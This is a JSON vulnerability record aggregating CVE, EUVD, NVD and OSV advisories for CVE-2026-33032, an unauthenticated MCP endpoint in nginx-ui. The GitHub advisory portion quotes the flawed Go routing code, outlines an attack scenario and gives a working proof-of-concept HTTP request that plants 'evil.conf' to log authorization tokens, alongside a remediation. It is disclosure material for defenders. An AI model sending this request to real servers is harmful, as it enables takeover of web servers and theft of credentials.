{"id":"GO-2026-4904","revision":null,"records":[{"revision":"955a155d73eb4952b705e4a4f05aecac","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33032","aliases":[],"title":"Nginx UI: Unauthenticated MCP Endpoint Allows Remote Nginx Takeover","description":"Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.","state":0,"publishedAt":"2026-03-30T17:58:42.159+00:00","modifiedAt":"2026-04-16T21:42:59.787+00:00","affected":[{"ecosystem":"Vendor product","name":"nginx-ui","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"0xJacky\",\n                    \"product\": \"nginx-ui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 2.3.5\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33032","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33032","identifiers":["CVE-2026-33032"]},"retained":false,"historicalAffected":[]},{"revision":"3151f120f25441c08dd934f7cf6b2ef4","observedAt":"2026-11-14T03:07:59.787+00:00","statement":{"source":"euvd","id":"EUVD-2026-17158","aliases":["CVE-2026-33032","GHSA-h6c2-x2m2-mwhf"],"title":"Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…","description":"Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-17158","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 30, 2026, 5:58:42 PM","dateUpdated":"Apr 16, 2026, 9:42:59 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-17158","identifiers":["EUVD-2026-17158","CVE-2026-33032","GHSA-h6c2-x2m2-mwhf"]},"retained":false,"historicalAffected":[]},{"revision":"0b0be94afffe4114b335d183fb0f437f","observedAt":"2026-10-25T08:17:18.375+00:00","statement":{"source":"nvd","id":"CVE-2026-33032","aliases":[],"title":"Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and au…","description":"Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.","state":0,"publishedAt":"2026-03-30T18:16:19.41+00:00","modifiedAt":"2026-06-17T10:36:49.207+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf","https://websec.net/blog/cve-2026-33032-unauthenticated-nginx-ui-mcp-takeover-69e1200f9fceb1f3fbe9c47f"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33032","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-306"],"productCriteria":["cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-03-30T18:16:19.410","lastModified":"2026-06-17T10:36:49.207"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33032","identifiers":["CVE-2026-33032"]},"retained":false,"historicalAffected":[]},{"revision":"6073b42663234bbe85a38b6beb04e108","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-h6c2-x2m2-mwhf","aliases":["CVE-2026-33032","GO-2026-4904"],"title":"nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover","description":"### Summary\nThe nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as \"allow all\". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.\n\n### Details\n#### Vulnerable Code\n\n**`mcp/router.go:9-17` - Auth asymmetry between endpoints**\n\n```go\nfunc InitRouter(r *gin.Engine) {\n\tr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n\tr.Any(\"/mcp_message\", middleware.IPWhiteList(),\n\t\tfunc(c *gin.Context) {\n\t\t\tmcp.ServeHTTP(c)\n\t\t})\n}\n```\n\nThe `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations.\n\n**`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all**\n\n```go\nfunc IPWhiteList() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tclientIP := c.ClientIP()\n\t\tif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n\t\t// ...\n\t}\n}\n```\n\nWhen `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design.\n\n#### Available MCP Tools (all invocable without auth)\n\nFrom `mcp/nginx/`:\n- `restart_nginx` - restart the nginx process\n- `reload_nginx` - reload nginx configuration\n- `nginx_status` - read nginx status\n\nFrom `mcp/config/`:\n- `nginx_config_add` - create new nginx config files\n- `nginx_config_modify` - modify existing config files\n- `nginx_config_list` - list all configurations\n- `nginx_config_get` - read config file contents\n- `nginx_config_enable` - enable/disable sites\n- `nginx_config_rename` - rename config files\n- `nginx_config_mkdir` - create directories\n- `nginx_config_history` - view config history\n- `nginx_config_base_path` - get nginx config directory path\n\n#### Attack Scenario\n\n1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port)\n2. No authentication is required - IP whitelist is empty by default\n3. Attacker invokes `nginx_config_modify` with `relative_path=\"nginx.conf\"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers)\n4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly\n5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied\n\n\n### PoC\n**1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`:\n\n```go\n// Line 10 - /mcp requires auth:\nr.Any(\"/mcp\", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n\n// Line 14 - /mcp_message does NOT:\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })\n```\n\nBoth call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations.\n\n**2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`:\n\n```go\nvar AuthSettings = &Auth{\n    BanThresholdMinutes: 10,\n    MaxAttempts:         10,\n    // IPWhiteList is not initialized - defaults to nil/empty slice\n}\n```\n\nAnd the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty:\n\n```go\nif len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == \"\" || clientIP == \"127.0.0.1\" || clientIP == \"::1\" {\n    c.Next()\n    return\n}\n```\n\n**3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`:\n\n```go\nerr := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file\n// ...\nres := nginx.Control(nginx.Reload)                 // Line 74: immediate reload\n```\n\n**4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:\n\n```http\nPOST /mcp_message HTTP/1.1\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"evil.conf\",\n      \"content\": \"server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"sync_node_ids\": []\n    }\n  },\n  \"id\": 1\n}\n```\n\nNo `Authorization` header is needed. The config is written and nginx reloads immediately.\n\n### Impact\n- **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart\n- **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit\n- **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services\n- **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers\n- **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API\n\n### Remediation\n\nAdd `middleware.AuthRequired()` to the `/mcp_message` route:\n\n```go\nr.Any(\"/mcp_message\", middleware.IPWhiteList(), middleware.AuthRequired(),\n    func(c *gin.Context) {\n        mcp.ServeHTTP(c)\n    })\n```\n\nAdditionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.","state":0,"publishedAt":"2026-03-30T16:43:13+00:00","modifiedAt":"2026-09-10T03:50:39.3993895+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"ECOSYSTEM","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.99"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf","https://nvd.nist.gov/vuln/detail/CVE-2026-33032","https://github.com/0xJacky/nginx-ui","https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26","https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17","https://websec.net/blog/cve-2026-33032-unauthenticated-nginx-ui-mcp-takeover-69e1200f9fceb1f3fbe9c47f"],"sourceUrl":"https://github.com/advisories/GHSA-h6c2-x2m2-mwhf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h6c2-x2m2-mwhf","identifiers":["GHSA-h6c2-x2m2-mwhf","CVE-2026-33032","GO-2026-4904"]},"retained":false,"historicalAffected":[]},{"revision":"7887228ff9094eb29278b539b382bf20","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4904","aliases":["CVE-2026-33032","GHSA-h6c2-x2m2-mwhf"],"title":"nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover in github.com/0xJacky/Nginx-UI","description":"nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover in github.com/0xJacky/Nginx-UI","state":0,"publishedAt":"2026-04-02T18:42:30+00:00","modifiedAt":"2026-04-02T21:20:06.336041+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf","https://nvd.nist.gov/vuln/detail/CVE-2026-33032","https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/internal/middleware/ip_whitelist.go#L11-L26","https://github.com/0xJacky/nginx-ui/blob/f89f8ff8223478988f7ed49bf1d3dbf2de44bf92/mcp/router.go#L9-L17"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4904","license":"OSV · upstream source license applies","key":"osv:GO-2026-4904","identifiers":["GO-2026-4904","CVE-2026-33032","GHSA-h6c2-x2m2-mwhf"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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